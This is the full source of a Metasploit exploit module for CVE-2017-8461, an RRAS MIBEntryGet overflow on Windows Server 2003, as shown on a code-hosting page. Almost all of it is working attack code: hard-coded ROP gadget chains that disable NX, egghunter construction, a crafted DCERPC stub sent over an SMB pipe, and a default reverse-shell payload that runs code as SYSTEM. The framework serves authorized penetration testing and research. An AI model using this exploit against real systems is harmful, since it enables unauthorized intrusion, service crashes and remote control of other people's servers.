Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/smb_rras_erraticgopher.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Egghunter9include Msf::Exploit::Remote::DCERPC10include Msf::Exploit::Remote::SMB::Client1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Microsoft Windows RRAS Service MIBEntryGet Overflow',17'Description' => %q{18This module exploits an overflow in the Windows Routing and Remote19Access Service (RRAS) to execute code as SYSTEM.2021The RRAS DCERPC endpoint is accessible to unauthenticated users via22SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts;23however, this module targets Windows Server 2003 only.2425Since the service is hosted inside svchost.exe, a failed exploit26attempt can cause other system services to fail as well.2728The module has been successfully tested on:2930Windows Server 2003 SP0 (x86);31Windows Server 2003 SP1 (x86);32Windows Server 2003 SP2 (x86); and33Windows Server 2003 R2 SP2 (x86).34},35'Author' => [36'Equation Group', # ERRATICGOPHER37'Shadow Brokers', # Equation Group dump38'VĂctor Portal', # Python exploit for Windows Server 2003 SP2 with DEP bypass39'bcoles', # Metasploit40],41'License' => MSF_LICENSE,42'References' => [43['CVE', '2017-8461'],44['CWE', '119'],45['BID', '99012'],46['EDB', '41929'],47['PACKETSTORM', '147593'],48['URL', 'https://www.securitytracker.com/id/1038701'],49['URL', 'https://github.com/x0rz/EQGRP_Lost_in_Translation/blob/master/windows/exploits/Erraticgopher-1.0.1.0.xml'],50['URL', 'https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd'],51['URL', 'https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa374540(v=vs.85)'],52['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/ebc5c709-36d8-4520-a0ac-6f36d2d6c0b2'],53['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/5dca234b-bea4-4e67-958e-5459a32a7b71'],54['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/4305d67f-9273-49fe-a067-909b6ae8a341'],55['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/3ca0723e-36ea-448a-a97e-1906dd3d07a6'],56['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/dda988f0-4cce-4ffe-b8c9-d5199deafba5'],57['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/169e435d-a975-4c1c-bf41-55fd2bd76125'],58],59'DefaultOptions' => {60'EXITFUNC' => 'thread',61'PAYLOAD' => 'windows/shell/reverse_tcp'62},63'Privileged' => true,64'Payload' => {65'Space' => 1065,66'BadChars' => "\x00",67'EncoderType' => Msf::Encoder::Type::AlphanumMixed68},69'Platform' => 'win',70'Arch' => ARCH_X86,71'Targets' => [72[ 'Automatic', { 'auto' => true } ],73[74'Windows Server 2003 SP0 (English)',75{76'os' => 'Windows 2003',77'sp' => '',78'lang' => 'English'79}80],81[82'Windows Server 2003 SP1 (English) (NX)',83{84'os' => 'Windows 2003',85'sp' => 'Service Pack 1',86'lang' => 'English'87}88],89[90'Windows Server 2003 SP2 (English) (NX)',91{92'os' => 'Windows 2003',93'sp' => 'Service Pack 2',94'lang' => 'English'95}96],97[98'Windows Server 2003 R2 SP2 (English) (NX)',99{100'os' => 'Windows 2003 R2',101'sp' => 'Service Pack 2',102'lang' => 'English'103}104],105],106'Notes' => {107'AKA' => [ 'ErraticGopher' ],108'Stability' => [ CRASH_SERVICE_DOWN ],109'SideEffects' => [ IOC_IN_LOGS ],110'Reliability' => [ UNRELIABLE_SESSION ]111},112'DefaultTarget' => 0,113'DisclosureDate' => '2017-06-13'114)115)116117register_options([118OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'browser']),119])120121deregister_options('SMB::ProtocolVersion')122end123124def payload_win2k3sp0125rop = [0x0ffef4c9].pack('V')126# rsaenh.dll:127# 0FFEF4C9 54 PUSH ESP128# 0FFEF4CA 24 04 AND AL,4129# 0FFEF4CC 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C]130# 0FFEF4D0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8]131# 0FFEF4D4 3BD1 CMP EDX,ECX132# 0FFEF4D6 73 05 JNB SHORT rsaenh.0FFEF4DD133# 0FFEF4D8 F7F1 DIV ECX134# 0FFEF4DA C2 0C00 RETN 0C135rop += make_nops(1152 - payload.encoded.length)136rop += payload.encoded137rop138end139140def payload_win2k3sp1141egg_options = {142eggtag: rand_text_alpha(4)143}144145hunter, egg = generate_egghunter(146payload.encoded,147payload_badchars,148egg_options149)150151# NX disable routine for Windows Server 2003 SP1152rop = [0x71c0bf7c].pack('V') # push esp ; pop esi ; retn @ws2_32.dll153rop += "\x90" * 16 # padding154rop += [0x77c1a864].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll155rop += [0x7c803ec2].pack('V') # ret 20 @ntdll.dll156rop += [0x773b24da].pack('V') # jmp esp @user32.dll157rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll158rop += "\x90" * 2 # padding159rop += hunter # egg hunter160rop += "\x90" * 42 # padding161rop += [0x7c83e413].pack('V') # disable NX routine @ntdll.dll162rop += "\x90" * 104 # padding163rop += egg # egg + payload164rop165end166167def payload_win2k3sp2168egg_options = {169eggtag: rand_text_alpha(4)170}171172hunter, egg = generate_egghunter(173payload.encoded,174payload_badchars,175egg_options176)177178# NX disable routine for Windows Server 2003 [R2] SP2179rop = [0x71c0db30].pack('V') # push esp ; pop esi ; retn @ws2_32.dll180rop += "\x90" * 16 # padding181rop += [0x77c177e9].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll182rop += [0x7c817a5d].pack('V') # ret 20 @ntdll.dll183rop += [0x77384271].pack('V') # jmp esp @user32.dll184rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll185rop += "\x90" * 2 # padding186rop += hunter # egg hunter187rop += "\x90" * 42 # padding188rop += [0x7c83f517].pack('V') # disable NX routine @ntdll.dll189rop += "\x90" * 104 # padding190rop += egg # egg + payload191rop192end193194def check195begin196connect(versions: [1])197smb_login198rescue Rex::Proto::SMB::Exceptions::LoginError => e199if e.message.include?('Connection reset')200return CheckCode::Unknown('Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')201end202203return CheckCode::Safe("SMB error: #{e.message}")204end205206handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])207208begin209dcerpc_bind(handle)210rescue Rex::Proto::SMB::Exceptions::ErrorCode => e211return CheckCode::Safe("SMB error: #{e.message}")212end213214CheckCode::Detected('RRAS enabled and accessible.')215end216217def exploit218begin219connect(versions: [1])220smb_login221rescue Rex::Proto::SMB::Exceptions::LoginError => e222if e.message.include?('Connection reset')223fail_with(Failure::UnexpectedReply, 'Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')224end225raise e226end227228handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])229230print_status("Binding to #{handle} ...")231232begin233dcerpc_bind(handle)234rescue Rex::Proto::SMB::Exceptions::ErrorCode => e235fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")236end237238print_status("Bound to #{handle} ...")239240my_target = target241242if target.name == 'Automatic'243print_status('Selecting a target ...')244245fingerprint = smb_fingerprint246247os = fingerprint['os']248sp = fingerprint['sp']249lang = fingerprint['lang']250print_status("Fingerprint: #{os}#{sp.blank? ? '' : " (#{sp})"} - Language: #{lang}")251252if lang == 'Unknown'253lang = 'English'254print_status("Could not detect the language pack, defaulting to #{lang}")255end256257my_target = targets.select { |t| t['os'] == os && t['sp'] == sp && t['lang'] == lang }.first258259unless my_target260fail_with(Failure::NoTarget, 'Unable to automatically detect a target')261end262end263264print_status("Using target: #{my_target.name}")265266case my_target.name267when 'Windows Server 2003 SP0 (English)'268buf = payload_win2k3sp0269when 'Windows Server 2003 SP1 (English) (NX)'270buf = payload_win2k3sp1271when 'Windows Server 2003 SP2 (English) (NX)'272buf = payload_win2k3sp2273when 'Windows Server 2003 R2 SP2 (English) (NX)'274buf = payload_win2k3sp2 # same as SP2275else276fail_with(Failure::NoTarget, 'Invalid target')277end278279mib = NDR.long(8) # dwVarID (MIB_OPAQUE_QUERY) # IP_FORWARDROW280mib += "\x90" * 4 # rgdwVarIndex[0] dwForwardDest # junk IPv4 address281mib += NDR.long(0) # rgdwVarIndex[1] dwForwardMask # junk IPv4 net mask282mib += NDR.long(0) # rgdwVarIndex[2] dwForwardPolicy # 0 (default forward policy)283mib += "\x90" * 4 # rgdwVarIndex[3] dwForwardNextHop # junk IPv4 address284mib += "\x90" * 4 # rgdwVarIndex[4] dwForwardIfIndex # junk network interface index for next hop285mib += buf # rgdwVarIndex[5] dwForwardType # payload286mib += "\x90" * (1840 - mib.length) # MIB length padding # junk287288stub = NDR.long(0x21) # dwPid (RMIBEntryGet) # PID_IP (IPv4)289stub += NDR.long(0x2710) # dwRoutingPid (RMIBEntryGet) # IPRTRMGR_PID (IP router manager)290stub += NDR.long(mib.length) # dwMibInEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB in size291stub += "\x90" * 4 # pMibInEntry (DIM_MIB_ENTRY_CONTAINER) # MIB_OPAQUE_QUERY pointer (ignored)292stub += NDR.long(4) # dwVarId (MIB_OPAQUE_QUERY) # IP_ADDRTABLE293stub += "\x90" * 4 # rgdwVarIndex (MIB_OPAQUE_QUERY) # unused (ignored)294stub += NDR.long(mib.length) # dwMibOutEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB out size295stub += mib # our friendly MIB entry data with payload296stub += NDR.long(4) # dwId (MIB_OPAQUE_INFO) # IP_ADDRTABLE (same as dwVarId)297stub += NDR.long(0) # ullAlign (MIB_OPAQUE_INFO) # zero aligning bytes298299print_status("Calling RRAS MIBEntryGet with payload (#{stub.length} bytes) ...")300301begin302dcerpc.call(0x1d, stub, false)303rescue StandardError => e304raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')305end306307handler308disconnect309end310end311312313